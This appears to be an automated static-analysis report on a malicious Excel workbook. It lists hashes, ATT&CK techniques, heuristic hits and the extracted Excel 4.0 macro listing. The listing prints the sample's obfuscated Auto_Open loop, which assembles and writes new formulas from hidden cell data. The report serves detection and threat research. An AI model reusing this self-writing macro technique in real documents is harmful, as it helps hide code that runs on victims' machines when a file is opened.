Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 482285516285607e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:34 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 116487b81edf6630fcdc81f2e5470254 SHA-1: e9b2236a28e3ba469910a12aad777a17e9002dc0 SHA-256: 482285516285607ee4b35dbc025f408ff3301412aae78c0dea3923dcddadf09a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known technique for executing malicious code upon opening the document. The critical heuristic firings indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting it's designed to run arbitrary commands. No specific malware family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6593 bytes
SHA-256: 53c5f5f60e6ee416089c8f3ed15cf1399c4d0c2930144e182d32bb7866d859a6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HsVQTCxj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G135 
' 0018     26 LABEL : Cell Value, String Constant - BWlMuqJckKN len=0 
' 0018     25 LABEL : Cell Value, String Constant - GgStydsTep len=0 
' 0018     21 LABEL : Cell Value, String Constant - hCPCmG len=0 
' 0018     22 LABEL : Cell Value, String Constant - hgcaaZR len=0 
' 0018     27 LABEL : Cell Value, String Constant - HkyxCMhaXAOc len=0 
' 0018     25 LABEL : Cell Value, String Constant - HsSPrjhyQZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - KkvrqMITMRQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - kUFEBSyplzaR len=0 
' 0018     27 LABEL : Cell Value, String Constant - LTYbcyWlYRPe len=0 
' 0018     25 LABEL : Cell Value, String Constant - lxHdEXwmGU len=0 
' 0018     22 LABEL : Cell Value, String Constant - MJfBDja len=0 
' 0018     21 LABEL : Cell Value, String Constant - OwsAmF len=0 
' 0018     23 LABEL : Cell Value, String Constant - PbVYuxUc len=0 
' 0018     22 LABEL : Cell Value, String Constant - rOTaKzg len=0 
' 0018     26 LABEL : Cell Value, String Constant - TBPLyqByWHX len=0 
' 0018     27 LABEL : Cell Value, String Constant - uQUuUkepVXME len=0 
' 0018     25 LABEL : Cell Value, String Constant - vKDaPfpvBX len=0 
' 0018     22 LABEL : Cell Value, String Constant - YibwhwP len=0 
' 0018     24 LABEL : Cell Value, String Constant - yPEZhDBXt len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZrxiVRMhFqvb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HsVQTCxj,G47,"SET.NAME("HkyxCMhaXAOc",VALUE("0"))",""
'  HsVQTCxj,G51,"SET.NAME("vKDaPfpvBX",HkyxCMhaXAOc)",""
'  HsVQTCxj,G53,"SET.NAME("BWlMuqJckKN",HkyxCMhaXAOc)",""
'  HsVQTCxj,G56,"SET.NAME("kUFEBSyplzaR",COUNTA(HsSPrjhyQZ))",""
'  HsVQTCxj,G59,"SET.NAME("uQUuUkepVXME",COUNTA(hgcaaZR))",""
'  HsVQTCxj,G64,[],""
'  HsVQTCxj,G66,"SET.NAME("PbVYuxUc","")",""
'  HsVQTCxj,G69,"vKDaPfpvBX",""
'  HsVQTCxj,G73,"SET.NAME("YibwhwP",HLOOKUP("*",HsSPrjhyQZ,vKDaPfpvBX,FALSE))",""
'  HsVQTCxj,G75,"GgStydsTep",""
'  HsVQTCxj,G79,"SET.NAME("LTYbcyWlYRPe",HkyxCMhaXAOc)",""
'  HsVQTCxj,G83,[],""
'  HsVQTCxj,G85,"LTYbcyWlYRPe",""
'  HsVQTCxj,G90,"MJfBDja",""
'  HsVQTCxj,G92,"lxHdEXwmGU",""
'  HsVQTCxj,G95,"yPEZhDBXt",""
'  HsVQTCxj,G98,"SET.NAME("OwsAmF",VALUE(HLOOKUP("*",hgcaaZR,yPEZhDBXt,FALSE)))",""
'  HsVQTCxj,G102,"KkvrqMITMRQ",""
'  HsVQTCxj,G104,"PbVYuxUc",""
'  HsVQTCxj,G108,"BWlMuqJckKN",""
'  HsVQTCxj,G112,NEXT(),""
'  HsVQTCxj,G117,"hCPCmG",""
'  HsVQTCxj,G122,"SET.NAME("f",INT(T(FORMULA(T(PbVYuxUc)&"",""&T(hCPCmG)))))",""
'  HsVQTCxj,G125,"ZrxiVRMhFqvb",""
'  HsVQTCxj,G128,NEXT(),""
'  HsVQTCxj,G131,RETURN(),""
'  HsVQTCxj,G161,"SET.NAME("rOTaKzg",G47)",""
'  HsVQTCxj,G163,"HsSPrjhyQZ",""
'  HsVQTCxj,G165,"SET.NAME("hgcaaZR",R91C12)",""
'  HsVQTCxj,G170,"SET.NAME("ZrxiVRMhFqvb",180)",""
'  HsVQTCxj,G175,"SET.NAME("TBPLyqByWHX",7)",""
'  HsVQTCxj,G179,rOTaKzg(),""
'  HsVQTCxj,G180,HALT(),""